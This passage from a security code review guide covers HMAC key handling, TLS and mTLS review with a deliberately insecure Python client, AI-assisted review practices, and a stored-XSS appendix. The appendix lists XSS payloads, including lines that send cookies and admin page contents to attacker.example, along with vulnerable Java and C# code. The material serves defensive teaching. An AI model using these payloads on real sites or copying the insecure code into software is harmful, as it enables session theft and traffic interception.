- Secrets load from a **managed store**; raw keys are shown once at issuance and stored hashed.
- Each key has explicit **scope**, tenant binding, and **revocation** path.
- HMAC uses **HMAC-SHA256** (or stronger approved MAC) with **constant-time** verification.
- Signed requests include **timestamp** (and nonce where needed) with enforced skew and replay controls.
- **Rotation** supports overlapping valid keys; audit logs record key id, not secret material.
- Successful authentication still passes through **authorization** checks for the requested resource.

Implementation Reference (Appendix)

Library sinks, multi-language examples, and full fix catalogs for every variant live in [5.2 reference — Review Tokens and API Trust](#).

Reference

- Appendix — [5.2 reference](#)
- [RFC 7519: JSON Web Token](#)
- [RFC 7517: JSON Web Key](#)
- [RFC 8725: JWT Best Current Practices](#)
- [OAuth 2.0 Authorization Framework — Refresh Token](#)
- [OAuth 2.0 Token Exchange and Rotation Practices \(RFC 9700 BCP\)](#)
- [OWASP JWT Cheat Sheet](#)
- [PyJWT documentation](#)

- [PyJWT PyJWKClient](#)
- [Spring Authorization Server](#)
- [Microsoft identity — Token validation](#)
- [lestrrat-go/jwx](#)
- [RFC 2104: HMAC — Keyed-Hashing for Message Authentication](#)
- [RFC 7518: JSON Web Algorithms \(JWA\) — HMAC SHA algorithms](#)
- [CWE-798: Use of Hard-coded Credentials](#)
- [CWE-321: Use of Hard-coded Cryptographic Key](#)
- [CWE-347: Improper Verification of Cryptographic Signature](#)
- [OWASP API Security Top 10](#)
- [OWASP Authentication Cheat Sheet](#)
- [NIST SP 800-57 Part 1 Rev. 5: Recommendation for Key Management](#)
- [Python hmac module](#)
- [Java javax.crypto.Mac](#)
- [Microsoft CryptographicOperations.FixedTimeEquals](#)
- [Go crypto/hmac](#)

5.3 - Review Transport and Service Identity

Overview

Transport and service-identity failures let an attacker sit on the wire or impersonate a peer. Review protocol versions, cipher and certificate validation, hostname checks, and—when mutual TLS is claimed—whether both sides present and verify the expected identity.

The points below are the ideas this family chapter uses again and again.

1. Transport failures let an attacker sit on the wire or impersonate a peer.
2. Review protocol versions, ciphers, certificate validation, and hostname checks.
3. When mutual TLS is claimed, both sides must present and verify expected identity.
4. TLS protocol settings and mTLS service identity share that handshake trust problem.
5. Evidence names the handshake decision, missing control, impact, and a proving test.

After reading this chapter, we should be able to review TLS and mTLS configurations for protocol strength and peer identity verification.

Shared Review Model

Across every variant below, keep the same evidence habit: name the **protocol step or credential**, the **trust decision**, the **missing control**, the **impact**, and a **test** that would prove a fix.

Variants in This Family

TLS and SSL protocol { : #tls }

TLS misconfiguration weakens confidentiality and authenticity even when URLs use `https://`. Common failures include enabling obsolete protocols, accepting weak ciphers, skipping certificate chain validation, or not checking that the certificate matches the intended host name.

Where to look

Signal	Where to look
Server termination	Nginx, Apache, HAProxy, cloud load balancers, Kubernetes Ingress, embedded Tomcat/Jetty/uvicorn listeners
Client libraries	requests, httpx, HttpClient, RestTemplate, fetch, gRPC channels, database and message-broker drivers
Protocol policy	Explicit <code>ssl.PROTOCOL_*</code> , <code>MinProtocol/MaxProtocol</code> , cipher list overrides, “compatibility mode” flags
Trust stores	Custom CA bundles, corporate root injection, <code>verify=False</code> , trust-all callbacks, empty trust managers
Hostname checks	Disabled <code>check_hostname</code> , custom <code>SSLContext</code> without server name indication (SNI), IP literals without SAN coverage
Certificate lifecycle	Expired or self-signed certs in prod, missing intermediate chain, wildcard certs on unrelated services

Appendix detail: [TLS and SSL protocol reference](#).

mTLS and service identity { `#mtls` }

mTLS fails when servers request but do not validate client certificates, when any certificate signed by a broad internal CA is accepted without binding to an expected service identity, or when mesh sidecars terminate mTLS but application code trusts unauthenticated localhost traffic.

Where to look

Signal	Where to look
Service-to-service APIs	Internal gRPC/HTTPS gateways, admin APIs, payment or identity backends reachable from the cluster network
Server TLS config	<code>SSLVerifyClient</code> , <code>clientAuth</code> , <code>NeedClientCert</code> , Envoy <code>require_client_certificate</code> , Istio <code>PeerAuthentication</code>
Client cert loading	PKCS#12 files in images, mounted secrets, cert-manager <code>Certificate</code> resources, SPIRE agent sockets
Identity mapping	CN/SAN parsing, SPIFFE ID (<code>spiffe://</code>) extraction, custom headers set by proxies without verification
Mesh bypass paths	Plain HTTP ports, <code>NetworkPolicy</code> gaps, debug ports, legacy jobs hitting services directly by pod IP
Rotation and revocation	Long-lived client certs, shared cert across environments, no reissue on compromise, missing CRL/OCSP where required

Appendix detail: [mTLS and service identity reference](#).

Worked Example (TLS and SSL protocol)

We walk **TLS and SSL protocol** in depth. Apply the same tracing steps to the other variants, adjusting protocol steps and sinks from the tables above.

Sample vulnerable code (Python)

```
import aiohttp
import ssl

async def fetch_partner_data(host: str) -> bytes:
    # Weak protocol range and trust-all context – no meaningful peer authentication
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    ctx.minimum_version = ssl.TLSVersion.TLSv1 # obsolete minimum
    url = f"https://{host}/v1/export"
    connector = aiohttp.TCPConnector(ssl=ctx)
    async with aiohttp.ClientSession(connector=connector,
    timeout=aiohttp.ClientTimeout(total=10)) as session:
        async with session.get(url) as resp:
            return await resp.read()
```

Step-by-step review walkthrough

1. **Inventory TLS endpoints.** List every server listener and outbound HTTPS client in the change. Include sidecars, webhooks, health checks, and batch jobs—not only user-facing APIs.
2. **Confirm minimum protocol version.** Require TLS 1.2 or TLS 1.3 per [RFC 8446](#) and [NIST SP 800-52 Rev. 2](#). Reject SSLv2, SSLv3, TLS 1.0, and TLS 1.1 ([RFC 8996](#)).
3. **Review cipher suites.** On TLS 1.3, prefer AEAD suites from the standard set. On TLS 1.2, prefer ECDHE with AES-GCM or ChaCha20-Poly1305; avoid NULL, EXPORT, RC4, and 3DES. Align with [Mozilla Server Side TLS](#) or your platform baseline.
4. **Trace certificate validation.** Follow trust store loading: system store, custom CA file, or mTLS bundle. Flag `verify=False`, `CERT_NONE`, and callbacks that return true for all certificates.
5. **Verify hostname matching.** Confirm the client checks the peer name against Subject Alternative Name (SAN) or legacy Common Name per [RFC 6125](#). Disabled `check_hostname` is a finding even when `verify_mode` is `CERT_REQUIRED`.
6. **Inspect server certificate chains.** Server configs must present leaf plus intermediates. Clients must build a chain to a trusted anchor—not only trust the leaf if it is self-signed in non-dev environments.
7. **Check environment parity.** Staging must not relax TLS for convenience while production is strict, unless the relaxation is isolated and documented. Test harnesses must not ship trust-all clients in release builds.

Risk Impact (Family)

Man-in-the-middle interception. Skipping verification or hostname checks lets attackers present arbitrary certificates and read or modify HTTPS traffic, including OAuth tokens and API secrets.

Downgrade and weak-crypto exposure. Permitting old protocols or weak ciphers enables decryption or session manipulation against clients and servers that negotiate insecure parameters.

Service impersonation. Missing hostname validation allows connections to a valid certificate for a different domain, breaking the intended trust boundary between services.

Compliance and audit findings. Regulated environments expect documented TLS baselines aligned with [NIST SP 800-52 Rev. 2](#) and industry transport guidance such as [OWASP Transport Layer Protection](#).

Silent failure in automation. Batch jobs and internal microservice clients often disable verification “temporarily,” then remain in production for years.

Fix Principles

Primary safer patterns for the worked example follow. For other languages and variant-specific fixes, use the [family appendix](#).

Python

Use default verification in HTTP libraries. Restrict protocols and ciphers only through explicit, documented baselines.

```
import aiohttp
import ssl

async def fetch_export(base_url: str, ca_file: str | None = None) -> bytes:
    ssl_ctx = ssl.create_default_context(cafile=ca_file) if ca_file else True
    async with aiohttp.ClientSession(
        connector=aiohttp.TCPConnector(ssl=ssl_ctx),
        timeout=aiohttp.ClientTimeout(total=10),
    ) as session:
        async with session.get(f"{base_url.rstrip('/')}/v1/export") as resp:
            resp.raise_for_status()
            return await resp.read()
```

Important: Custom SSLContext changes need a comment linking to your TLS baseline. Never set `check_hostname = False` or `verify_mode = CERT_NONE` in production paths. For corporate CAs, load a dedicated bundle with `verify=` or `ctx.load_verify_locations()`—do not disable verification.

See [Python ssl module](#) and [httpx SSL documentation](#).

Java

Use the platform default `SSLContext` and hostname verification. Pin corporate roots via trust store configuration, not accept-all managers.

```
import javax.net.ssl.SSLContext;
import java.net.http.HttpClient;

SSLContext ctx = SSLContext.getDefault();
HttpClient client = HttpClient.newBuilder()
    .sslContext(ctx)
    .build();
// Default hostname verification remains enabled
```

For Apache `HttpClient` 5, use `TlsSocketStrategy` with default trust material and avoid custom `NoopHostnameVerifier`.

Important: `TrustAllStrategy` and `NoopHostnameVerifier` belong only in isolated test fixtures excluded from production artifacts.

See [Java Secure Socket Extension \(JSSE\) Reference Guide](#).

C

Use `HttpClient` with default certificate validation. Configure corporate roots via `X509ChainTrustMode` or machine trust stores.

```
var handler = new HttpClientHandler();
// Default: validates chain and name against https:// URI host
var client = new HttpClient(handler);
var json = await client.GetStringAsync("https://api.example.com/v1/export");
```

Important: `ServerCertificateCustomValidationCallback` that always returns `true` is equivalent to `verify=False`. Restrict callbacks to narrowly scoped test or private-PKI scenarios with explicit documentation.

See [HttpClientHandler.ServerCertificateCustomValidationCallback](#) and [Transport Layer Security \(TLS\) best practices with .NET](#).

Go

Use the default `http.Client` transport. Set `MinVersion` to TLS 1.2 or higher and load custom roots instead of skipping verification.

```

import (
    "crypto/tls"
    "crypto/x509"
    "net/http"
    "os"
)

pool, _ := x509.SystemCertPool()
if extra, err := os.ReadFile("/etc/ssl/certs/corp-root.pem"); err == nil {
    pool.AppendCertsFromPEM(extra)
}
tr := &http.Transport{
    TLSClientConfig: &tls.Config{
        RootCAs:    pool,
        MinVersion: tls.VersionTLS12,
    },
}
client := &http.Client{Transport: tr}

```

Important: `InsecureSkipVerify` disables both chain and hostname checks. Prefer `RootCAs` and, when connecting by IP or custom name, set `ServerName` explicitly.

See [Go crypto/tls package](#) and [Go net/http Transport TLSClientConfig](#).

Verify During Review

Use the checklist below as a family-level pass over the variants above. Each item should map to evidence in the change under review.

- Minimum TLS version is **1.2 or 1.3**; SSLv2, SSLv3, TLS 1.0, and TLS 1.1 are disabled.
- Cipher policy follows an approved baseline; no NULL, EXPORT, RC4, or 3DES in production.
- Clients use **default or explicit** chain validation to a trusted anchor; no trust-all callbacks in release code.
- **Hostname verification** is enabled and matches the intended host or configured `ServerName`.
- Server configs present a **complete certificate chain** with valid expiry and appropriate SANs.
- Corporate or private CAs are loaded via **trust stores**, not by turning off verification.
- Test-only TLS relaxations are excluded from production builds and deployment manifests.
- Internal privileged APIs **require** client certificates; optional client auth is flagged unless explicitly justified.
- Server validates client cert **chain** against the expected CA or SPIFFE trust domain.
- Authorization uses **verified** cert fields (SPIFFE ID, SAN), not unauthenticated headers or CN alone.
- Clients verify **server** cert and hostname per [5.3 § TLS](#) while presenting their own cert.
- Mesh mode is **STRICT** (or equivalent) for production namespaces; permissive mode has an expiry plan.
- No plaintext **bypass ports** expose the same handlers without equivalent authentication.

- Client certs **rotate** automatically; shared long-lived certs across services are documented exceptions only.

Implementation Reference (Appendix)

Library sinks, multi-language examples, and full fix catalogs for every variant live in [5.3 reference — Review Transport and Service Identity](#).

Reference

- Appendix — [5.3 reference](#)
- [RFC 8446: The Transport Layer Security \(TLS\) Protocol Version 1.3](#)
- [RFC 5246: The Transport Layer Security \(TLS\) Protocol Version 1.2](#)
- [RFC 8996: Deprecating TLS 1.0 and TLS 1.1](#)
- [RFC 6125: Representation and Verification of Domain-Based Application Service Identity](#)
- [NIST SP 800-52 Rev. 2: Guidelines for TLS Implementations](#)
- [CWE-295: Improper Certificate Validation](#)
- [CWE-326: Inadequate Encryption Strength](#)
- [OWASP Transport Layer Protection Cheat Sheet](#)
- [Mozilla Wiki — Server Side TLS](#)
- [Python ssl module](#)
- [Python httpx — SSL](#)
- [Java JSSE Reference Guide](#)
- [Microsoft — TLS best practices with .NET](#)
- [Go crypto/tls](#)
- [Node.js TLS/SSL documentation](#)
- [RFC 8446: TLS 1.3 — Client Authentication](#)
- [RFC 8705: OAuth 2.0 Mutual-TLS Client Authentication and Certificate-Bound Access Tokens](#)
- [SPIFFE Specification](#)
- [SPIRE Documentation](#)
- [CWE-287: Improper Authentication](#)
- [NIST SP 800-207: Zero Trust Architecture](#)
- [Istio — PeerAuthentication](#)
- [Istio — Mutual TLS Migration](#)
- [Envoy — Downstream TLS transport socket](#)
- [gRPC — Authentication guide](#)
- [Go crypto/tls — ClientAuth](#)
- [ASP.NET Core certificate authentication](#)

Chapter 6 - Run AI-Assisted Security Code Review

Overview

AI can speed security review. It summarizes changes, proposes abuse paths, drafts checklists, and shapes findings. It does not own the verdict. This chapter is a how-to: run an AI-assisted pass that inherits Parts II–IV—decomposition, source-to-sink tracing, and evidence—without treating fluent output as proof.

The points below are the ideas this chapter uses again and again.

1. Point AI at a named subsystem and trust boundary—not at unbounded dumps of code.
2. Use AI for summaries, hypotheses, checklists, and drafts; verify every claim in code.
3. Prefer guided prompts: stack, risks to check, source/sink/evidence, confirmed vs hypothesis.
4. Apply six working habits: specific questions, examples, limited files, coverage checks, deterministic known-bad rules, and deliberate depth.
5. Encode the loop in repo rules or agent skills so the next pass starts guided, not ad hoc.

After reading this chapter, we should be able to run a practical AI-assisted review pass and hand verified findings—or discarded leads—to the trustworthiness gate in Chapter 7.

When to Use AI

Use AI when it reduces mechanical work so humans spend more time on judgment.

Good fits include pull-request summarization, entry-point discovery, attack-hypothesis brainstorming, control checklists for a known change type, draft finding structure, and first-pass test ideas.

Poor fits include “is this whole repository secure?”, merge gating on model comments alone, and accepting severity labels without reachability proof. Those cases belong under Chapter 7’s gates.

Scope First

Start where Chapter 3 starts. Name the subsystem. Name the trust boundary. Name the change that crosses it.

Then ask the assistant to work **inside that frame**. Unscoped prompts invite shallow, high-confidence noise.

Useful opening asks:

- What files changed inside this boundary?
- What new entry points appeared?

- What authentication or authorization logic changed?
- What sensitive sinks or egress paths changed?
- What new dependencies or configuration values appeared?

The summary prepares better questions. It is not the finding.

Use a Guided Prompt Pattern

Weak prompts ask whether the code is secure. Stronger prompts constrain the task.

A practical pattern:

1. State the stack and trust boundaries.
2. Name the risk classes to inspect (for example SSRF, IDOR, injection).
3. Ask for attacker-controlled input, sensitive sinks, and missing checks.
4. Require exploitability reasoning tied to code—not generic advice.
5. Separate **confirmed findings** (with file/line evidence) from **hypotheses**.
6. Ask for a concrete fix idea and an abuse-case test sketch.

Structured output helps triage. Prefer fields such as source, sink, missing control, exploit scenario, confidence, fix, and test.

Six Working Habits

These habits keep AI assist useful.

Ask specific questions. Prefer “does this path check ownership before load?” over “find vulnerabilities.”

Show good, bad, and ambiguous examples. Put short snippets in the prompt or rule so the model is not inventing the standard.

Review limited files at a time. Whole-bundle prompts skip lines. File-by-file (or small batches) keeps attention.

Confirm coverage. After a pass, check that in-scope files were actually read and answered. Do not trust a confident summary as proof of coverage.

Leverage deterministic knowledge. Encode known-bad patterns as scanner rules, repo instructions, or scripts. Use them as the base layer under the model.

Control pace. Pause at suspicious patterns. Ask follow-ups. Process discipline beats raw model capability.

Follow a Practical Loop

A simple AI-assisted review loop looks like this:

1. Name subsystem and trust boundary (Chapter 3).
2. Attach or invoke relevant repo rules / skills for language and risk class.
3. Ask for a scoped summary of the change.
4. Ask for attack hypotheses anchored to inputs and sinks.
5. Verify the highest-risk hypotheses in code—manually.
6. Ask for abuse-case tests; tighten them against real behavior.
7. Ask for a draft finding; rewrite every claim with cited evidence.
8. Promote only what survives verification (Chapter 7). Or discard the lead.

Where Rules and Skills Fit

Repo instructions and agent skills are how teams encode this loop. Keep them short and high-signal: approved libraries, banned APIs, auth rules, secrets handling, logging rules, and test expectations.

Public skill packs and platform skills can help with orchestration. Evaluate them by whether they demand evidence, enforce scope, and admit partial failure—not by demo polish. For a companion framing of guided vs ad-hoc review, see [Can LLMs do security code review?](#). For hybrid toolchain context, see [Security Code Review Trends and Practices in the AI Era](#).

Keep It Practical for Small Teams

Small teams can still run the loop.

- Deterministic scanners for secrets, dependencies, and baseline SAST
- Guided AI on prioritized paths and risky pull requests
- Human review for authentication, authorization, cryptography, deserialization, command execution, uploads, multi-tenant isolation, and public sensitive endpoints
- Documented accepted risk when coverage is incomplete

The goal is not perfect review of every commit. The goal is a repeatable path from informal reading to evidence-backed decisions.

Key Takeaway

AI-assisted security code review works when AI accelerates a **guided** process.

Scope the boundary. Prompt for evidence. Limit greed. Verify in code. Encode known-bad patterns deterministically. Let humans own exploitability and priority.

Chapter 7 covers the trustworthiness gate: leads versus findings, failure modes, and hybrid merge posture.

Chapter 7 - Keep AI Review Trustworthy

Overview

AI can produce vulnerability-shaped text faster than teams can validate it. The standard has not changed: a finding must be **proven** before it drives engineering work. This chapter is the gate after Chapter 6's how-to—how we keep fluency from becoming triage burden.

The points below are the ideas this chapter uses again and again.

1. Treat model output as a **lead** until source, sink, reachability, and impact are verified.
2. Promote to a **validated finding** only with reproduction and demonstrated impact in the target environment.
3. Watch failure modes: hallucination, missing context, business-logic blindness, unsafe fixes, prompt injection in repo text, and data exposure.
4. Keep deterministic scanners and CI as the merge floor; keep AI comments advisory.
5. Reward validated signal over volume so reviewers stay sharp.

After reading this chapter, we should be able to run a human gate that accepts only evidence-backed findings from AI-assisted review.

Leads Versus Validated Findings

Draw a sharp line in the workflow.

A **lead** is something worth investigating—a hypothesis, scanner hit, or model suggestion. AI may generate, rank, and summarize leads.

A **validated finding** is behavior reproduced and tied to demonstrated impact in the target environment. Humans prove it. AI may assist documentation.

Mixing the two wastes engineering time and erodes trust. A healthy program uses AI to produce leads. Promotion to finding requires evidence.

A report ready for engineering should answer: what happened, how it was reproduced, what the attacker controls, which boundary was crossed, and what impact was **demonstrated**—not only theorized.

Validation Checklist

Before a lead becomes a reported finding, answer:

1. What specific behavior was observed, and where?

2. What attacker-controlled input, identity, or state was required?
3. What security boundary was crossed—authentication, authorization, tenancy, trust, privilege, or memory safety?
4. What exact steps reproduce the behavior in the **target** environment?
5. What impact was demonstrated, not only the theoretical worst case?
6. What evidence shows reachability in the deployed configuration?
7. What must a fix change, and how will the team confirm the fix?

Use the same checklist in pull-request review, bounty triage, and automated LLM comment threads.

Failure Modes to Watch

Hallucination and overconfidence. Models invent missing functions, misread frameworks, and describe unreachable exploit paths. If the claim cannot be tied to code evidence, it is not a finding.

Missing repository context. A snippet without routes, middleware, config, or tests yields false positives and false negatives. Retrieve context before strong claims.

Business-logic blindness. Syntax is easier than intent. Ownership, enumeration via responses, and illegal state transitions still need human judgment.

Unsafe fixes. Regex instead of encoding, denylists instead of allowlists, local cookie flags that miss framework defaults, and home-grown crypto all appear as “fixes.” Require reason, change, abuse-case test, and remaining limits.

Untrusted repository text. Comments, PR descriptions, and docs can try to steer the model. Treat repo text as data, not instruction. Separate system instructions from code content.

Privacy and data exposure. Rules must cover what may leave the environment, which models are allowed, how logs are stored, and who can see review output. Forbid autonomous agents from approving or deploying their own changes.

Hybrid Merge Posture

Deterministic tools remain the floor. Known-bad patterns, SAST, secrets, and dependency checks belong in CI with clear merge rules.

AI remains the ceiling for exploration—summaries, hypotheses, triage help, and draft wording—unless measured precision on **our** merges justifies stronger trust.

Humans remain the edge for high-risk change: authentication, authorization, cryptography, deserialization, command execution, uploads, multi-tenant isolation, billing, and public endpoints that handle sensitive data. Even when a model praises a patch, those merges still need human scrutiny.

Do not block merges on raw LLM comments in early rollout. Block on deterministic high-confidence findings. Escalate risky AI leads to a human reviewer.

Team Habits That Preserve Skill

Overdependence on AI can make reviewers rusty. Set expectations that protect judgment.

Reward validated impact over volume. Measure signal quality, not finding count.

Train fundamentals before outsourcing. Junior reviewers should trace data flow and reproduce issues manually—not only prompt a model.

Use senior reviewers as force multipliers. AI accelerates exploration; humans own verdicts.

Require explanation. Can the reviewer reproduce and explain the issue without hiding behind generic language?

Use AI as a teaching tool. When the model suggests an issue, ask why, test the claim, and learn.

Key Takeaway

AI proposes. Evidence decides.

Keep leads and findings separate. Validate reachability and impact. Watch the failure modes. Let scanners and CI hold the floor. Let humans keep the edge on high-risk change.

That gate is how Part V stays aligned with Chapter 2: reduce uncertainty with evidence, not with confident language. [Chapter 8](#) turns the habit into developer-led practice.

Chapter 8 - Enable Developers to Review Securely

Overview

The people who know the code structure best are usually the developers who build and change it. That knowledge—where trust boundaries live, which helpers enforce auth, what a “safe” path assumes—is the scarce ingredient in security review. AppSec specialists scale methodology and hard cases; they cannot own every pull request. The practical path is to enable **developers** to review securely, especially with AI assistance from Part V, while keeping evidence standards from the rest of this book.

The points below are the ideas this chapter uses again and again.

1. Developers hold structural context that outsiders lack; that makes them the primary reviewers of their own changes and nearby code.
2. Review skill is learned: patterns first, then data flow, then business context—not checklist memorization alone.
3. AI assists developers fastest when they already know how to scope, ask, and verify (Chapters 6–7).
4. Lightweight team practice—ownership, risk-based depth, reusable checklists, feedback—beats heroic AppSec coverage of every change.
5. Measure whether developers demand evidence when tools or models voice confidence.

After reading this chapter, we should be able to train and organize developer-led security review without pretending a small AppSec team can read every line.

Why Developers Are the Best Reviewers

Security review depends on local knowledge.

A developer who owns a service already knows which middleware applies, which IDs are tenant-scoped, which config flags are on in production, and which “temporary” shortcuts still ship. An external reviewer can learn that map, but the developer starts closer to the truth.

That does not mean developers need no training. Structural knowledge without hostile assumptions still ships bugs. It means the **highest leverage** investment is teaching developers the reviewer mindset from Chapters 2–3, the family patterns from Parts III–IV, and the AI assist loop from Part V—so structural knowledge and security judgment sit in the same person.

Specialists still matter for rare classes, contested severity, crypto design, and program standards. Day-to-day coverage belongs with the people who change the code.

What Developers Need to Learn

Developer review skill should be progressive.

Beginner practice starts with visible issues: hardcoded secrets, SQL injection, reflected XSS, insecure cookies, and dangerous APIs. Pair each with a short “what the attacker controls” walkthrough.

Intermediate practice adds data-flow reasoning: path traversal, XXE, template injection, insecure deserialization, and command injection. Require source-to-sink evidence, not pattern labels alone.

Advanced practice targets contextual flaws: SSRF, IDOR, password lifecycle, business-logic abuse, authorization bypass, and weak crypto design. These need subsystem intent and trust-boundary questions from Chapter 3.

Theory still matters. Developers need shared vocabulary: trust boundary, source, sink, authentication, authorization, exploitability, impact, and compensating control. Practice teaches recognition. Alternate concept → code → trainee reasoning → concept.

Good exercises ask the same five questions until they become habit:

1. What is the code trying to do?
2. What can the attacker control?
3. What assumption is unsafe?
4. What impact is possible?
5. What would a secure version do?

Measure more than detection. Can the developer explain exploitability, reject false leads, propose a safe fix, write a clear finding, and say when more context is required?

Use AI Assistance the Developer Way

AI is most useful when the developer already owns the map.

A developer can point the assistant at the right subsystem, paste the right ownership helper, and spot when the model invents a check that does not exist. That is Chapter 6’s guided loop applied by someone who can verify. Chapter 7’s gate still applies: leads are not findings until reachability and impact are proven.

Practical expectations for developer-led AI review:

- Scope the boundary before prompting.
- Prefer specific questions over “is this secure?”
- Verify every claim in code they know—or can open quickly.
- Keep AI comments advisory; keep scanners and CI as merge floors.

- Escalate contested high-severity issues to a security specialist when needed.

Training should include AI deliberately. Ask trainees to run a guided pass, then invalidate at least one fluent false lead. That builds the skepticism Part V requires.

Keep Team Practice Lightweight

Developer-led review still needs a thin program so coverage does not depend on heroics.

Ownership. Every sensitive change has a named reviewer (often a peer developer or champion). Unresolved risk has an owner. Exceptions have expiration dates.

Risk-based depth. Authentication, authorization, password reset, payments, file handling, internal requests, crypto, sensitive logging, public APIs, and framework config deserve security-focused review and abuse-case evidence. Low-risk changes can rely on automated checks plus normal peer review.

Reusable artifacts. Short PR checklists for auth, files, logging, and crypto; a small AI prompt library aligned with Chapter 6; CI policy notes for secrets and dependencies. Artifacts reduce repeated explanation and keep standards consistent.

Automation plus humans. Deterministic scanners gate merges. AI assists summarization and hypotheses. Developers adjudicate exploitability and risk acceptance. Agents do not approve or deploy their own output.

Feedback loops. When a real issue ships past review, ask whether a scanner, checklist, training exercise, template, or AI prompt should change. Turn findings into curriculum for the next developer cohort.

Metrics should reward quality: high-risk change coverage, time to triage real issues, reduction of repeat classes, findings with tests, expired exceptions cleared. Avoid vanity finding volume.

Key Takeaway

Developers are the best default reviewers because they know the structure of the code. That advantage only pays off when they also learn security review—and use AI as an accelerator under the same evidence rules as manual review.

Train progressively. Practice with hostile questions. Use AI inside a guided, verified loop. Keep ownership and risk-based depth light but real.

The conclusion of this book names the outcome: defensible confidence—what was checked, what evidence supports it, and what risk remains.

Conclusion - Build Defensible Confidence

Overview

Security code review does not remove all uncertainty. That is not the goal. The goal is to reduce uncertainty until the team can make a defensible decision about what the system protects, what the attacker can control, and whether implementation enforces the intended controls.

The points below close the book.

1. The same review pattern runs from mindset through methodology, code-level families, implementations, and AI assistance.
2. Evidence beats confidence—whether the signal comes from a human, a scanner, or a model.
3. AI changes volume and pace; it does not retire trust-boundary questions.
4. Programs and training sustain the skill so coverage does not depend on heroics.
5. Defensible confidence states what was checked, what supports the claim, and what remains open.

After finishing this book, we should be able to reuse one review pattern end to end and leave proof the team can stand behind.

Why the Goal Is Confidence, Not Certainty

This book began with a simple point: security review still matters in the age of AI. In fact, it matters more. More code is being produced by more people and more machines. The pace is faster. The volume is larger. The chance of insecure patterns being repeated is higher.

Security review must adapt.

Reuse the Same Review Pattern

The same review pattern appears throughout the book.

SQL injection moves from unsafe string construction to prepared statements. XSS moves from raw output to context-aware encoding. IDOR moves from object access to ownership validation. SSRF moves from arbitrary internal requests to allowlisted destinations. Logging moves from sensitive leakage to safe auditability.

The details differ, but the reasoning is consistent:

1. Identify the sensitive behavior.
2. Identify attacker-controlled input.
3. Identify the trust boundary.
4. Verify the security control.
5. Explain the impact.

6. Recommend a fix that can be tested.

This is the discipline behind security code review.

Combine Human Judgment, Automation, and AI

Modern review needs human judgment, AI assistance, and tool-based checks working together.

Human reasoning understands intent, ownership, business rules, and exploitability. AI helps summarize, hypothesize, explain, and accelerate review when it inherits the decomposition and tracing discipline this book insists on—not when it substitutes for methodology.

Each one has limits.

Humans miss patterns and cannot scale alone. AI can hallucinate or overstate confidence. The answer is not to choose one. The answer is to combine them with clear roles.

Dependency, supply chain, and automation-based review still matter, but they should mostly be handled by tools, policy checks, scanners, SBOMs, and threat intelligence feeds. Human review should focus where judgment matters most: code behavior, trust boundaries, business logic, AI-assisted reasoning, and risk acceptance.

Build Repeatable Confidence

A good review program should produce evidence.

The evidence may be a test, a scanner result, a threat model note, a reviewed pull request, a documented exception, or a finding with a clear source-to-sink path.

Evidence turns opinion into confidence.

This matters because security review is not only about finding bugs. It is about helping teams understand what risk remains and why the current decision is acceptable.

That is what defensible confidence means.

Keep Security Reasoning Inside the Speed

Security code review is not a checklist exercise. It is a practical discipline for understanding software under hostile conditions.

The future will bring more AI-generated code, more automated review, and more pressure to move quickly. The reviewer's job is to keep security reasoning inside that speed.

Review the code. Review the assumptions. Review the tools. Review the AI output.

Then leave behind evidence that another engineer can trust.

4.1 Code Reference — Review XSS

Stored XSS { : #stored }

From former 4-01-review-stored-xss.md. **Guiding chapter section:** [4.1 - Review XSS § Stored XSS](#).

4.1 Code Reference — Review Stored XSS

Attack Payloads

Use these in authorized tests when user input is persisted and later rendered in HTML. Confirm the output context (element body, attribute, script block, URL) before relying on a single payload.

Pattern 1: Basic script tag (HTML body context)

```
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
```

Pattern 2: Event handlers without script tags

```
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
```

Pattern 3: Attribute breakout (when value is quoted)

```
"><script>alert(1)</script>
' onmouseover='alert(1)
" autofocus onfocus="alert(1)
```

Pattern 4: JavaScript URL and data URIs

```
<a href="javascript:alert(1)">click</a>
<iframe src="javascript:alert(1)">
<object data="data:text/html,<script>alert(1)</script>">
```

Pattern 5: Filter evasion and encoding variants

```
<ScRiPt>alert(1)</ScRiPt>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror=&#97;lert(1)>
```

Pattern 6: Stored payloads targeting privileged views

```
<script>fetch('/admin/users').then(r=>r.text()).then(t=>fetch('https://attacker.example/?d='+btoa(t)))</script>
<img src=x onerror="new Image().src='https://attacker.example/?c='+document.cookie">
```

Language-Specific Sinks and Dangerous APIs

Search for these patterns on every read path from persistence to HTML output. Any API that marks user data as safe HTML or disables auto-escaping is a review priority.

Python (Flask / Jinja2)

```
return render_template_string(ticket_body)
return Markup(review_text)
return render_template("reviews.html", summary=summary | safe)
env = Environment(autoescape=False)
Template(user_notification_tpl).render()
```

Java (JSP / servlets)

```
<%= request.getAttribute("comment") %>
<c:out value="${comment}" escapeXml="false"/>
<div>${userBio}</div>
response.getWriter().write(storedNote);
```

C# (ASP.NET / Razor)

```
@Html.Raw(Model.UserBio)
return Content(storedHtml, "text/html");
writer.Write(storedComment); // no encoding
```

JavaScript (SPA / Node rendering)

```
element.innerHTML = ticket.message;
document.write(review.summary);
$('#review-body').html(storedRating);
dangerouslySetInnerHTML={{ __html: note.content }}
```

HTML (email and static builders)

```
<!-- Server builds HTML email with unencoded stored name -->
<p>Hello, <!-- USER_NAME inserted raw --></p>
<td>{{stored_cell_value}}</td> <!-- template without escape -->
```

Go (html/template misuse)

```
template.HTML(storedBio) // bypasses auto-escape
fmt.Fprintf(w, "<p>%s</p>", storedComment) // raw write
```

Vulnerable Examples in Other Languages

Java

```
@PostMapping("/reviews")
public String submitReview(@RequestParam String productId, @RequestParam String text) {
    reviewRepo.save(new ProductReview(productId, text, currentUser()));
    return "redirect:/reviews/" + productId;
}

@GetMapping("/reviews/{productId}")
public String productReviews(@PathVariable String productId, Model model) {
    model.addAttribute("reviews", reviewRepo.findByProductId(productId));
    return "product-reviews"; // JSP: ${review.text} without <c:out>
}
```

C

```
[HttpPost("announcements")]
public IActionResult PostAnnouncement(string title, string message) {
    _db.Announcements.Add(new Announcement { Title = title, Body = message });
    _db.SaveChanges();
    return RedirectToAction("Feed");
}

public IActionResult Feed() {
    var items = _db.Announcements.OrderByDescending(a => a.PostedAt).Take(10).ToList();
    ViewBag.FeedHtml = string.Join("", items.Select(a => $"<article><h3>{a.Title}</h3><p>{a.Body}</p></article>"));
    return View();
}
```

JavaScript

